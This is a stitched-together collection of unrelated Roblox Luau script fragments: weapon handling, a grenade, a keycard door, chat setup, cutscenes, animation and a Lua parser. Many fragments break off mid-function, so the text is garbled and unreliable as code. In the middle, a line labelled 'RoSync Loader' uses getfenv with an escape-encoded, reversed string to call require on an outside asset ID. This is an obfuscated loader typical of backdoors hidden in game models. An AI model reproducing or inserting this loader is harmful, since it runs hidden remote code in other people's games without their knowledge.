'Grip' then L_214_forvar2.Anchored = false L_214_forvar2.CanCollide = false end end; --LoadClientMods() RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW = SetupMod(Folder, Ultil, Character, RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW, Settings, ArmaClone) Equipped = true if ArmaClone:FindFirstChild('Silenciador')~= nil then if Silencer.Value == true then ArmaClone.Silenciador.Transparency = 0 ArmaClone.SmokePart.FlashFX.Brightness = 0 ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 0 Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value) else ArmaClone.Silenciador.Transparency = 1 ArmaClone.SmokePart.FlashFX.Brightness = 5 ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 1000 Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value) end end end function Unset() if ArmaClient then Evt.Desequipar:FireServer(ArmaClient,Settings) end UnloadClientMods() if Folder then Folder:Destroy() end Equipped = false Aiming = false Safe = false Bipod = false LanternaAtiva = false IRmode = false LaserAtivo = false --Silencer = false CancelReload = false Reloading = false slideback = false OverHeat = false uis.MouseIconEnabled = true game:GetService('UserInputService').MouseDeltaSensitivity = 1 Camera.CameraType = Enum.CameraType.Custom Player.CameraMode = Enum.CameraMode.Classic AimPartMode = 1 stance = 0 tweenFoV(70,15) TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play() Evt.SVLaser:FireServer(Vector3.new(0,0,0),2,nil,ArmaClient,IRmode) if Gui then Gui.Visible = false end for _,c in pairs(Connections) do c:disconnect() end Connections = {} Walking = false a = false d = false end function Update_Gui() if CanUpdateGui then if ArmaClone:FindFirstChild("BipodPoint") ~= nil then Gui.Bipod.Visible = true else Gui.Bipod.Visible = false end if Settings.ArcadeMode == true then Gui.Ammo.Visible = true Gui.Ammo.AText.Text = Ammo.Value.."|"..Settings.Ammo else Gui.Ammo.Visible = false end if Settings.FireModes.Explosive == true and GLChambered.Value == true then Gui.E.ImageColor3 = Color3.fromRGB(255,255,255) Gui.E.Visible = true elseif Settings.FireModes.Explosive == true and GLChambered.Value == false then Gui.E.ImageColor3 = Color3.fromRGB(255,0,0) Gui.E.Visible = true elseif Settings.FireModes.Explosive == false then Gui.E.Visible = false end if Safe == true then Gui.A.Visible = true else Gui.A.Visible = false end if Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == false then Gui.B.Visible = true Gui.B.BackgroundColor3 = Color3.fromRGB(255,255,255) elseif Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == true then Gui.B.Visible = true Gui.B.BackgroundColor3 = Color3.fromRGB(255,0,0) else Gui.B.Visible = false end Gui.FText.Text = Settings.Mode if Settings.Mode ~= "Explosive" then Gui.BText.Text = Settings.BulletType else Gui.BText.Text = "HEDP" end Gui.Sens.Text = (Sens.Value/100) Gui.ZeText.Text = Zeroing.Value .." m" Gui.NText.Text = Settings.Name if Settings.Mode ~= "Explosive" then if Settings.MagCount then Gui.SAText.Text = math.ceil(StoredAmmo.Value/Settings.Ammo) else Gui.SAText.Text = StoredAmmo.Value end else Gui.SAText.Text = GLAmmo.Value end if Silencer.Value == true then Gui.Silencer.Visible = true else Gui.Silencer.Visible = false end if LaserAtivo == true then Gui.Laser.Visible = true if IRmode then Gui.Laser.ImageColor3 = Color3.new(0,255,0) else Gui.Laser.ImageColor3 = Color3.new(255,255,255) end else Gui.Laser.Visible = false end if LanternaAtiva == true then Gui.Flash.Visible = true else Gui.Flash.Visible = false end end end function CheckMagFunction() if CanUpdateGui then Gui.CMText.TextTransparency = 0 Gui.CMText.TextStrokeTransparency = 0.9 if Ammo.Value >= Settings.Ammo then Gui.CMText.Text = "Full" elseif Ammo.Value > math.floor((Settings.Ammo)*.75) and Ammo.Value < Settings.Ammo then Gui.CMText.Text = "Nearly full" elseif Ammo.Value < math.floor((Settings.Ammo)*.75) and Ammo.Value > math.floor((Settings.Ammo)*.5) then Gui.CMText.Text = "Almost half" elseif Ammo.Value == math.floor((Settings.Ammo)*.5) then Gui.CMText.Text = "Half" elseif Ammo.Value > math.ceil((Settings.Ammo)*.25) and Ammo.Value < math.floor((Settings.Ammo)*.5) then Gui.CMText.Text = "Less than half" elseif Ammo.Value < math.ceil((Settings.Ammo)*.25) and Ammo.Value > 0 then Gui.CMText.Text = "Almost empty" elseif Ammo.Value == 0 then Gui.CMText.Text = "Empty" end TS:Create(Gui.CMText,TweenInfo.new(10),{TextTransparency = 1,TextStrokeTransparency = 1}):Play() end end function Sprint() if Equipped then if Correndo and SpeedPrecision > 0 then MouseHeld = false if Aiming then game:GetService('UserInputService').MouseDeltaSensitivity = 1 ArmaClone.Handle.AimUp:Play() tweenFoV(70,120) Aiming = false TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play() end if not Safe and not AnimDebounce then stance = 3 Evt.Stance:FireServer(stance,Settings,Anims) SprintAnim() end elseif not Correndo or SpeedPrecision == 0 then if not Safe and not AnimDebounce then if Aiming then stance = 2 Evt.Stance:FireServer(stance,Settings,Anims) IdleAnim() else stance = 0 Evt.Stance:FireServer(stance,Settings,Anims) IdleAnim() end end end end end Sprinting.Changed:connect(function(Valor) Correndo = Valor Sprint() end)
--use this to determine if you want this human to be harmed or not, returns boolean
function checkTeams(otherHuman) return not (sameTeam(otherHuman) and not FriendlyFire==true) end function boom() wait(1.5) Used = true Object.Anchored = true Object.CanCollide = true Object.Orientation = Vector3.new(0,0,0) Object.Transparency = 1 Object.Explode:Play() Object.Explosion:Emit(100) Explode() end Object.Touched:Connect(function(part) if Used == true or part.Name == "Handle" then return end if part:IsDescendantOf(Tag.Value.Character) then return end if part.Parent then if part.Parent:FindFirstChild("Humanoid") then local human = part.Parent.Humanoid if checkTeams(human) then tagHuman(human) human:TakeDamage(Damage) end end Used = true Object.Impact:Play() Object.Velocity = Vector3.new(Object.Velocity.x/10,Object.Velocity.y/10,Object.Velocity.z/10) Object.RotVelocity = Vector3.new(Object.RotVelocity.x/10,Object.RotVelocity.y/10,Object.RotVelocity.z/10) game:GetService("Debris"):AddItem(Object, 10) end end) boom()
--[[* * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. ]]
local CurrentModule = script.Parent local Packages = CurrentModule.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local Error = LuauPolyfill.Error local String = LuauPolyfill.String local exports = {}
---------------------------------------------------------------------------------------------------- --------------------=[ CFRAME ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableHolster = false ,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to ,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) ,RightArmPos = CFrame.new(-0.85, -0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server ,LeftArmPos = CFrame.new(1.2,-0.2,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20)) --server ,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)) ,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) ,RightPos = CFrame.new(-.9, .15, -1.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client ,LeftPos = CFrame.new(1,-1,-1) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) --Client } return Config
--local pln_ID = math.random(0,300) +2312 --script.Parent.Pln_ID.Value = pln_ID
plane=nil hold=false vSpeed = 0 taxiing = true local debounce = false local planedebounce = false local stuntdebounce = false local controlling = false local on = false local Mousefollow = false local faster = false local slower = false local uper = false local downer = false local sideright = false local sideleft = false local sideway = 0 local minigun_shoot = false local missile_side = 1 local show_ammo = false local startLock = false
--[=[ @param tbl table @param name string @param inboundMiddleware ServerMiddleware? @param outboundMiddleware ServerMiddleware? @return RemoteFunction ]=]
function ServerComm:WrapMethod(tbl: {}, name: string, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?): RemoteFunction return Comm.Server.WrapMethod(self._instancesFolder, tbl, name, inboundMiddleware, outboundMiddleware) end
--// Rest of code after waiting for correct events.
local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer while not LocalPlayer do Players.ChildAdded:wait() LocalPlayer = Players.LocalPlayer end local canChat = true local ChatDisplayOrder = 6 if ChatSettings.ScreenGuiDisplayOrder ~= nil then ChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local GuiParent = Instance.new("ScreenGui") GuiParent.Name = "Chat" GuiParent.ResetOnSpawn = false GuiParent.DisplayOrder = ChatDisplayOrder GuiParent.Parent = PlayerGui local DidFirstChannelsLoads = false local modulesFolder = script local moduleChatWindow = require(modulesFolder:WaitForChild("ChatWindow")) local moduleChatBar = require(modulesFolder:WaitForChild("ChatBar")) local moduleChannelsBar = require(modulesFolder:WaitForChild("ChannelsBar")) local moduleMessageLabelCreator = require(modulesFolder:WaitForChild("MessageLabelCreator")) local moduleMessageLogDisplay = require(modulesFolder:WaitForChild("MessageLogDisplay")) local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel")) local moduleCommandProcessor = require(modulesFolder:WaitForChild("CommandProcessor")) local ChatWindow = moduleChatWindow.new() local ChannelsBar = moduleChannelsBar.new() local MessageLogDisplay = moduleMessageLogDisplay.new() local CommandProcessor = moduleCommandProcessor.new() local ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow) ChatWindow:CreateGuiObjects(GuiParent) ChatWindow:RegisterChatBar(ChatBar) ChatWindow:RegisterChannelsBar(ChannelsBar) ChatWindow:RegisterMessageLogDisplay(MessageLogDisplay) MessageCreatorUtil:RegisterChatWindow(ChatWindow) local MessageSender = require(modulesFolder:WaitForChild("MessageSender")) MessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest) if (UserInputService.TouchEnabled) then ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarTextTouch",'Tap here to chat')) else ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarText",'To chat click here or press "/" key')) end spawn(function() local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil")) local animationFps = ChatSettings.ChatAnimationFPS or 20.0 local updateWaitTime = 1.0 / animationFps local lastTick = tick() while true do local currentTick = tick() local tickDelta = currentTick - lastTick local dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta) if dtScale ~= 0 then ChatWindow:Update(dtScale) end lastTick = currentTick wait(updateWaitTime) end end)
--[[ Last synced 11/11/2020 02:39 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--Choose One From These Two Scripts Choose V2 It's Better Then V1 --And it's More Updated. --Choose One Of The Two Or It Won't Work. --Thanks For Using My Script.
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--
local door = script.Parent local CanOpen1 = true local CanClose1 = false local clearance = { ["[SCP] Card-Omni"] = true, ["[SCP] Card-L5"] = true, ["[SCP] Card-L4"] = true, ["[SCP] Card-L3"] = false, ["[SCP] Card-L2"] = false, ["[SCP] Card-L1"] = false } --DO NOT EDIT PAST THIS LINE-- function openDoor() for i = 3,(door.Size.z / 0.15) do wait() door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15) end end function closeDoor() for i = 3,(door.Size.z / 0.15) do wait() door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15) end end script.Parent.Parent.KeycardReader1.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false wait(0.75) closeDoor() wait(1) CanOpen1 = true end end) script.Parent.Parent.KeycardReader2.touched:connect(function(touch) if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then CanOpen1 = false wait(0.75) openDoor() wait(1) CanClose1 = true elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then CanClose1 = false wait(0.75) closeDoor() wait(1) CanOpen1 = true end end)
-- This function is monkey patched to return MockDataStoreService during tests
local DataStoreService = game:GetService("DataStoreService") local DataStoreServiceRetriever = {} function DataStoreServiceRetriever.Get() return DataStoreService end return DataStoreServiceRetriever
-- Loading
local CutsceneFolder = workspace.Cutscenes:WaitForChild("Died") -- The folder that contains the cutscene data (Cameras...) local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around! local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once. local Cutscene = require(CutsceneModule) local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch") local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin") local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded") local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied") local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire") local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire") local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying") local CharacterProtector = script:FindFirstChild("CharacterProtector") local Music = script:FindFirstChild("Music") local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished") local StopOnEventFire = script:FindFirstChild("StopOnEventFire") local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire") local PlayOnce = script:FindFirstChild("PlayOnce") local Debounce = script:FindFirstChild("Cooldown") local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove") local bin = true local Player = game:GetService("Players").LocalPlayer local CutsceneGui = script:FindFirstChild("Cutscene")
-- Services
local PlayersService = game:GetService("Players")
-- map a value from one range to another
function CameraUtils.map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin end
-- Using the desired target rotation and elevation, determine where the gun should point right now (smoothly turn)
function getSmoothRotation(rotations) local targElev = rotations[1]; local targRot = rotations[2]; local maxGunDepression = tankStats.GunHandling.GunDepression.Value; local maxTraverse = tankStats.GunHandling.GunTraverse.Value; -- Restrict the height of travel of the gun if math.abs(targElev) > maxGunDepression then targElev = maxGunDepression*sign(targElev); end if math.abs(targRot) > maxTraverse then targRot = maxTraverse*sign(targRot); end -- Once target angles are set, slowly turn turret towards them -- Elevation local elevDiff = targElev - currentElev; if math.abs(elevDiff) < 0.01 then -- If they're close currentElev = targElev; else -- Move towards it currentElev = currentElev + 0.01*sign(elevDiff); end local rotDiff = targRot - currentRot; local turretSpeed = tankStats.GunHandling.TurretSpeed.Value; if math.abs(rotDiff) < turretSpeed then -- If they're close currentRot = targRot; else -- Move towards it currentRot = currentRot + turretSpeed*sign(rotDiff); end -- Put rotation and elevation into an array local rotations = {}; rotations[1] = targElev; rotations[2] = targRot; return rotations; end
-- The absolute ceiling limit that the player can jump before -- triggering the anticheat.
config.JumpHeightTolerance = 11
-- Animate.Rainbow = require(script:WaitForChild("Rainbow"))
Animate.Rotate = require(script:WaitForChild("Rotate")) Animate.Animations = { --[[ Tool = { Idle = animation_track; Action = { animation_track; animation_track; animation_track; } }]]-- } Animate.Last = {} Animate.Humanoid = nil; -- Player requires this module and sets this. function Animate.GetHumanoid() if not Animate.Humanoid then repeat wait() until Animate.Humanoid and Animate.Humanoid:IsDescendantOf(workspace) end return Animate.Humanoid end function Animate.GetNextNumber(category,state) local category_list = Animate.Animations[category] local state_list = category_list and category_list[state] or nil if state_list then local state_last_number = Animate.Last[category][state] or 1 local next_number = (state_last_number + 1 <= #state_list) and state_last_number+1 or 1 return next_number end return 1 end -- stops the animation from the current category of the given state. -- if no state is given, stop all function Animate.Stop(category,state) if category then if state then local track = Animate.Animations[category][state][Animate.Last[category][state]] if track then track:Stop() end else if Animate.Animations[category]then for state,tracks in pairs(Animate.Animations[category]) do for _,track in pairs(tracks) do if track then track:Stop() end end end end end end end function Animate.Play(category,state,number,at_speed) if category and state then local category_list = Animate.Animations[category] if category_list then local state_list = category_list[state] if state_list then local state_last_number = Animate.Last[state] number = number or Animate.GetNextNumber(category,state) Animate.Last[category][state] = number state_list[number]:Play() state_list[number]:AdjustSpeed(at_speed or 1.0) end end end end -- creates a new animation track, and saves it to Animate.Animations[category][state] function Animate.Load(category,state,id,replace_slot) if category and state and id then local humanoid = Animate.GetHumanoid() local animation = Instance.new("Animation") animation.AnimationId = id local track = humanoid:LoadAnimation(animation) Animate.Animations[category] = Animate.Animations[category] or {} Animate.Animations[category][state] = Animate.Animations[category][state] or {} if not replace_slot then table.insert(Animate.Animations[category][state], track) else for i=1,#Animate.Animations[category][state] do -- loop thru and replace the animation track with the new one (called from reload) local t = Animate.Animations[category][state][i] if t.Animation.AnimationId == id then Animate.Animations[category][state][i] = track; end end end Animate.Last[category] = { [state] = 1; } return track end end -- removes an id from the state list. -- if no state supplied, all states are unloaded (set to {}) -- if no id supplied, sets the state list to {}; function Animate.Unload(category,state,id) local category_list = Animate.Animations[category] if not state and category_list then for state,list in pairs(category_list) do category_list[state] = {} end else local state_list = category_list and category_list[state] or nil if state_list then if id then for i=1,#state_list do if state_list[i] == id then table.remove(state_list,i) end end else category_list[state] = {}; end end end end function Animate.GetTrack(category, state, id) if Animate.Animations[category] and Animate.Animations[category][state] then for _, track in pairs(Animate.Animations[category][state]) do if track.Animation.AnimationId == id then return track end end end end -- reloads all the current anims function Animate.Reload() for category, states in pairs(Animate.Animations) do for state, tracks in pairs(states) do for track_num, track in pairs(tracks) do Animate.Load(category, state, track.Animation.AnimationId, true) end end end end return Animate
--[=[ Initializes the datastore service for players. Should be done via [ServiceBag.Start]. ]=]
function PlayerDataStoreService:Start() -- Give time for configuration self._started:Resolve() end
--Made by Luckymaxer
Debris = game:GetService("Debris") Camera = game:GetService("Workspace").CurrentCamera Sounds = { RayHit = script:WaitForChild("Hit") } BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false BaseRay = BasePart:Clone() BaseRay.Name = "Laser" BaseRay.BrickColor = BrickColor.new("Cyan") BaseRay.Material = Enum.Material.Neon BaseRay.Size = Vector3.new(0.2, 0.2, 0.2) BaseRay.Anchored = true BaseRay.CanCollide = false BaseRayMesh = Instance.new("SpecialMesh") BaseRayMesh.Name = "Mesh" BaseRayMesh.MeshType = Enum.MeshType.Brick BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1) BaseRayMesh.Offset = Vector3.new(0, 0, 0) BaseRayMesh.VertexColor = Vector3.new(1, 1, 1) BaseRayMesh.Parent = BaseRay function PlaySound(Position, Sound) local SoundPart = BasePart:Clone() SoundPart.Name = "ParticlePart" SoundPart.Transparency = 1 SoundPart.Anchored = true SoundPart.CanCollide = false local SoundObject = Sound:Clone() SoundObject.Parent = SoundPart Debris:AddItem(SoundPart, 1.5) SoundPart.Parent = game:GetService("Workspace") SoundPart.CFrame = CFrame.new(Position) SoundObject:Play() end function FireRay(StartPosition, TargetPosition, Hit) local Vec = (TargetPosition - StartPosition) local Distance = Vec.magnitude local Direction = Vec.unit local PX = (StartPosition + (0.0 * Distance) * Direction) local PY = (StartPosition + (0.0 * Distance) * Direction) local PZ = (StartPosition + (0.0 * Distance) * Direction) local DX = (StartPosition - PX).magnitude local DY = (PX - PY).magnitude local DZ = (PY - PZ).magnitude local Limit = 2 local AX = (PX + Vector3.new(math.random(math.max(-Limit, (-0.0 * DX)), math.min(Limit, (0.21 * DX))),math.random(math.max(-Limit, (-0.21 * DX)),math.min(Limit, (0.21 * DX))), math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX))))) local AY = (PY + Vector3.new(math.random(math.max(-Limit, (-0.0 * DY)), math.min(Limit, (0.21 * DY))),math.random(math.max(-Limit, (-0.21 * DY)),math.min(Limit, (0.21 * DY))), math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY))))) local AZ = (PZ + Vector3.new(math.random(math.max(-Limit, (-0.0 * DZ)), math.min(Limit, (0.21 * DZ))),math.random(math.max(-Limit, (-0.21 * DZ)),math.min(Limit, (0.21 * DZ))), math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ))))) local Rays = { {Distance = (AX - StartPosition).magnitude, Direction = CFrame.new(StartPosition, AX)}, {Distance = (AY - AX).magnitude, Direction = CFrame.new(AX, AY)}, {Distance = (AZ - AY).magnitude, Direction = CFrame.new(AY, AZ)}, {Distance = (TargetPosition - AZ).magnitude, Direction = CFrame.new(AZ, TargetPosition)}, } for i, v in pairs(Rays) do local Ray = BaseRay:Clone() Ray.BrickColor = BrickColor.new("Lime green") Ray.Reflectance = 0 Ray.Transparency = 0 --1 Ray.Material = Enum.Material.Neon local Mesh = Ray.Mesh Mesh.Scale = (Vector3.new(0.15, 0.15, (v.Distance / 1)) * 5) Ray.CFrame = (v.Direction * CFrame.new(0, 0, (-0.5 * v.Distance))) Debris:AddItem(Ray, (0.1 / (#Rays - (i - 1)))) Ray.Parent = Camera end end pcall(function() local StartPosition = script:WaitForChild("StartPosition").Value local TargetPosition = script:WaitForChild("TargetPosition").Value local RayHit = script:WaitForChild("RayHit").Value FireRay(StartPosition, TargetPosition) if RayHit then PlaySound(TargetPosition, Sounds.RayHit) end end) Debris:AddItem(script, 1)
-- Libraries
RbxUtility = require(script.LoadLibrary.RbxUtility) Support = require(Tool.SupportLibrary); Security = require(Tool.SecurityModule); RegionModule = require(Tool['Region by AxisAngle']); Serialization = require(Tool.SerializationModule); Create = RbxUtility.Create; CreateSignal = RbxUtility.CreateSignal;
-- Make the AnimBase
L_15_ = Instance.new("Part", L_3_) L_15_.FormFactor = "Custom" L_15_.CanCollide = false L_15_.Transparency = 1 L_15_.Anchored = false L_15_.Name = "AnimBase" L_16_ = Instance.new("Motor6D") L_16_.Part0 = L_15_ L_16_.Part1 = L_40_ L_16_.Parent = L_15_ L_16_.Name = "AnimBaseW" --AnimBaseW.C1 = gunSettings.StartPose L_12_ = Instance.new("Motor6D") L_12_.Part0 = L_3_['Right Arm'] L_12_.Part1 = L_1_:FindFirstChild('Grip') L_12_.Parent = L_3_['Right Arm'] L_12_.C1 = L_11_.GunPos L_12_.Name = "Grip" for L_42_forvar1, L_43_forvar2 in pairs(L_1_:GetChildren()) do if L_43_forvar2:IsA("Part") or L_43_forvar2:IsA("MeshPart") or L_43_forvar2:IsA("UnionOperation") then L_43_forvar2.Anchored = true if L_43_forvar2.Name ~= "Grip" then Weld(L_43_forvar2, L_1_:WaitForChild("Grip")) end end end for L_44_forvar1, L_45_forvar2 in pairs(L_1_:GetChildren()) do if L_45_forvar2:IsA("Part") or L_45_forvar2:IsA("MeshPart") or L_45_forvar2:IsA("UnionOperation") then L_45_forvar2.Anchored = false end end L_17_ = L_3_['Right Arm'] L_18_ = L_3_['Left Arm'] L_21_ = L_3_.Torso:WaitForChild("Right Shoulder") L_22_ = L_3_.Torso:WaitForChild("Left Shoulder") L_19_ = Instance.new("Motor6D") L_19_.Name = "RAW" L_19_.Part0 = L_15_ L_19_.Part1 = L_17_ L_19_.Parent = L_15_ L_19_.C1 = L_11_.RightArmPos L_3_.Torso:WaitForChild("Right Shoulder").Part1 = nil L_20_ = Instance.new("Motor6D") L_20_.Name = "LAW" L_20_.Part0 = L_15_ L_20_.Part1 = L_18_ L_20_.Parent = L_15_ L_20_.C1 = L_11_.LeftArmPos L_3_.Torso:WaitForChild("Left Shoulder").Part1 = nil if L_27_ then L_27_:Destroy() end L_28_:FireClient(L_2_, true, L_12_, L_15_, L_16_, L_19_, L_20_, L_14_) end) L_1_.Unequipped:connect(function() local L_46_ = L_3_:FindFirstChild('Torso') local L_47_ = L_3_:FindFirstChild('Head') L_27_ = L_3_:FindFirstChild('HolsterModel') or Instance.new('Model', L_3_) L_27_.Name = "HolsterModel" for L_48_forvar1, L_49_forvar2 in pairs(L_1_:GetChildren()) do for L_50_forvar1, L_51_forvar2 in pairs(L_49_forvar2:GetChildren()) do if L_51_forvar2.ClassName == "Motor6D" then L_51_forvar2:Destroy() end end end for L_52_forvar1, L_53_forvar2 in pairs(L_1_:GetChildren()) do if L_53_forvar2:IsA("Part") or L_53_forvar2:IsA("MeshPart") or L_53_forvar2:IsA("UnionOperation") then L_53_forvar2.Anchored = true end end L_46_:WaitForChild("Neck").Part1 = L_47_ L_46_:WaitForChild("Neck").C1 = L_46_:WaitForChild("Neck").C1 L_46_:WaitForChild("Neck").C0 = L_46_:WaitForChild("Neck").C0 L_15_:Destroy() L_14_:Destroy() L_21_.Part1 = L_17_ L_22_.Part1 = L_18_ L_28_:FireClient(L_2_, false) if L_11_.HolsteringEnabled then for L_55_forvar1, L_56_forvar2 in pairs(L_1_:GetChildren()) do if L_56_forvar2:IsA("Part") or L_56_forvar2:IsA("MeshPart") or L_56_forvar2:IsA("UnionOperation") then L_56_forvar2.Anchored = true local L_57_ = L_56_forvar2:clone() L_57_.Parent = L_27_ end end; for L_58_forvar1, L_59_forvar2 in pairs(L_27_:GetChildren()) do Weld(L_59_forvar2, L_27_:WaitForChild("Grip")) end local L_54_ = Weld(L_27_:WaitForChild("Grip"), L_3_:WaitForChild('Torso')) L_54_.Name = "TWeld" L_54_.C1 = L_11_.HolsterPos for L_60_forvar1, L_61_forvar2 in pairs(L_27_:GetChildren()) do L_61_forvar2.Anchored = false end end end) L_3_.Humanoid.Died:connect(function() L_28_:FireClient(L_2_, false) end)
-- Torso
character:FindFirstChild("Humanoid").CameraOffset = Vector3.new(0,0,-2) end end)
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here? -- don't edit anything here
seat = script.Parent function onChildAdded(part) script.Parent.Parent.Base.EngineStart:Play() script.Parent.Parent.Base.EngineStop:Stop() wait(3) script.Parent.Parent.Base.EngineSound:Play() end function onChildRemoved(part) script.Parent.Parent.Base.EngineStop:Play() script.Parent.Parent.Base.EngineSound:Stop() script.Parent.Parent.Base.EngineStart:Stop() end seat.ChildAdded:connect(onChildAdded) seat.ChildRemoved:connect(onChildRemoved)
--Enter the name of the model you want to go to here. ------------------------------------
modelname="teleporta"
--Why don't you see what you can do with this model? Maybe load some more R15 animations, or even use it as a StarterCharacter?
-- Unsafe to use with non-Portalshot modes.
function CircularEdge.new(Activity) local self = { Generator = Random.new(os.time()); Activity = Activity; } return setmetatable(self, CircularEdge) end function CircularEdge:GetRotation(N: number): number -- We do this to include the noiseness factor. return self.Generator:NextInteger(-N, N) + self.Generator:NextNumber() end function CircularEdge:GetNextPoint(Player: Player): CFrame local Origin: CFrame = self.Activity.SpawnArea:GetTargetAreaPosition(Player) local TargetAreaSize = self.Activity.Settings.TargetAreaSize return Origin * CFrame.Angles(0, math.rad(self:GetRotation(self.Activity.SpawnMechanism.State.Angles / 2)), 0) * CFrame.Angles(math.rad(self:GetRotation(TargetAreaSize.Y / 2)), 0, 0) * CFrame.new(TargetAreaSize.X / 2, 0, TargetAreaSize.Z / 2) end CircularEdge.GetStartingPoint = CircularEdge.GetNextPoint return CircularEdge
------------------------------------------------------------------------ -- parse a generic for loop, calls forbody() -- * used in forstat() ------------------------------------------------------------------------
function luaY:forlist(ls, indexname) -- forlist -> NAME {,NAME} IN explist1 forbody local fs = ls.fs local e = {} -- expdesc local nvars = 0 local base = fs.freereg -- create control variables self:new_localvarliteral(ls, "(for generator)", nvars) nvars = nvars + 1 self:new_localvarliteral(ls, "(for state)", nvars) nvars = nvars + 1 self:new_localvarliteral(ls, "(for control)", nvars) nvars = nvars + 1 -- create declared variables self:new_localvar(ls, indexname, nvars) nvars = nvars + 1 while self:testnext(ls, ",") do self:new_localvar(ls, self:str_checkname(ls), nvars) nvars = nvars + 1 end self:checknext(ls, "TK_IN") local line = ls.linenumber self:adjust_assign(ls, 3, self:explist1(ls, e), e) luaK:checkstack(fs, 3) -- extra space to call generator self:forbody(ls, base, line, nvars - 3, false) end
--// Firemode Functions
